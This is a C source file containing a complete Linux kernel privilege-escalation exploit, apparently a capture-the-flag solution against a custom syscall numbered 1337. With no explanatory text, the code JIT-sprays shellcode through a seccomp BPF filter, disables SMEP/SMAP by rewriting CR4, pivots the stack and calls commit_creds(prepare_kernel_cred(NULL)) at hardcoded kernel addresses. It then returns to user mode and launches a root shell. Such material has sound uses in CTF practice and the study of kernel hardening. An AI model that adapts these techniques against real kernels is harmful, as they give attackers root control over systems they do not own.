text: #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  #include <unistd.h>
  #include <sys/syscall.h>
  #include <errno.h>
  #include <linux/seccomp.h>
  #include <sys/prctl.h>
  #include <sys/mman.h>
  
  #define SYS_SECCON 1337
  
  typedef unsigned long u64;
  
  u64 user_cs, user_ss, user_rsp, user_rflags;
  u64 addr_commit_creds = 0xffffffff81073ad0;
  u64 addr_prepare_kernel_cred = 0xffffffff81073c60;
  u64 addr_trampoline = 0xffffffff81800e26;
  
  static void win() {
    char *argv[] = { "/bin/sh", NULL };
    char *envp[] = { NULL };
    puts("[+] win!");
    execve("/bin/sh", argv, envp);
  }
  
  static void save_state() {
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %2\n"
        "pushfq\n"
        "popq %3\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
        :
        : "memory");
  }
  
  void fatal(const char *msg) {
    perror(msg);
    exit(1);
  }
  
  void sys_seccon(u64 addr) {
    syscall(SYS_SECCON, addr);
  }
  
  static void install_seccomp(unsigned char *filter, unsigned short length) {
    struct prog {
      unsigned short len;
      unsigned char *filter;
    } rule = {
      .len = length >> 3,
      .filter = filter
    };
    if(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0)
      fatal("prctl(PR_SET_NO_NEW_PRIVS)");
    if(prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &rule) < 0)
      fatal("prctl(PR_SET_SECCOMP)");
  }
  
  int main()
  {
    save_state();
  
    int N = 0x312; // make bpf random entropy as small as possible
    unsigned short filter_length = N*8 + 8;
    u64 *filter = (u64*)malloc(filter_length);
  
    /* Map stack (POPULATE it so that it's readable/writable under KPTI) */
    char *stack = (char*)mmap((void*)0xfff000, 0x2000,
                              PROT_READ | PROT_WRITE,
                              MAP_ANONYMOUS|MAP_SHARED|MAP_POPULATE|MAP_FIXED,
                              -1, 0);
    if (stack != (char*)0xfff000)
      fatal("mmap");
    // Gadget-free ROP chain!
    u64 *rsp = (u64*)&stack[0x1000];
    *rsp++ = addr_prepare_kernel_cred;
    *rsp++ = addr_commit_creds;
    *rsp++ = addr_trampoline; // ret2usermode
    *rsp++ = 0xcafebabe; // garbage (pop rax)
    *rsp++ = 0xdeadbeef; // garbage (pop rdi)
    *rsp++ = (u64)&win;
    *rsp++ = user_cs;
    *rsp++ = user_rflags;
    *rsp++ = user_rsp;
    *rsp++ = user_ss;
  
    // Fill our filter with nop sled
    for (int i = 0; i < N; i++) {
      filter[i] = (u64)(0x01eb9090) << 32; // nop; nop; jmp 1;
    }
    u64 *chain = &filter[N - 20];
    // rdi = cr4
    *chain++ = (u64)(0x04E7200F) << 32; // mov rdi, cr4; add al, XX;
    // edx = ~0x300000
    *chain++ = (u64)(0x01ebD231) << 32; // xor edx, edx; jmp 1;
    *chain++ = (u64)(0x01ebC2FF) << 32; // inc edx; jmp 1;
    *chain++ = (u64)(0x01ebE2D1) << 32; // shl edx, 1; jmp 1;
    *chain++ = (u64)(0x01ebC2FF) << 32; // inc edx; jmp 1;
    *chain++ = (u64)(0x0414E2C1) << 32; // shl edx, 20; add al, XX;
    *chain++ = (u64)(0x01ebD2F7) << 32; // not edx;
    // rdi &= rdx
    *chain++ = (u64)(0x04D72148) << 32; // and rdi, rdx; add al, XX;
    // cr4 = rdi
    *chain++ = (u64)(0x04E7220F) << 32; // mov cr4, rdi; add al, XX;
    // esp = 0x1000000
    *chain++ = (u64)(0x01ebE431) << 32; // xor esp, esp; jmp 1;
    *chain++ = (u64)(0x01ebC4FF) << 32; // inc esp; jmp 1;
    *chain++ = (u64)(0x0418E4C1) << 32; // shl esp, 24; add al, XX;
    // commit_creds(prepare_kernel_cred(NULL));
    *chain++ = (u64)(0x01ebFF31) << 32; // xor edi, edi; jmp 1;
    *chain++ = (u64)(0x01eb9058) << 32; // pop rax; nop; jmp 1;
    *chain++ = (u64)(0x01ebD0FF) << 32; // call rax; jmp 1;
    *chain++ = (u64)(0x04C78948) << 32; // mov rdi, rax; add al, XX;
    *chain++ = (u64)(0x01eb9058) << 32; // pop rax; nop; jmp 1;
    *chain++ = (u64)(0x01ebD0FF) << 32; // call rax; jmp 1;
    // jump to swapgs_restore_regs_and_return_to_usermode
    *chain++ = (u64)(0xccE0FF58) << 32; // pop rax; jmp rax;
    filter[N] = 0x7fff000000000006; // RETURN ALLOW
  
    /* JIT our filter */
    install_seccomp((unsigned char*)filter, filter_length);
  
    /* Jump to nop sled of JIT-ted seccomp filter */
    puts("[+] bring your own shellcode: go brrrrr");
    sys_seccon(0xffffffffc0000f00);
  
    return 0;
  }
  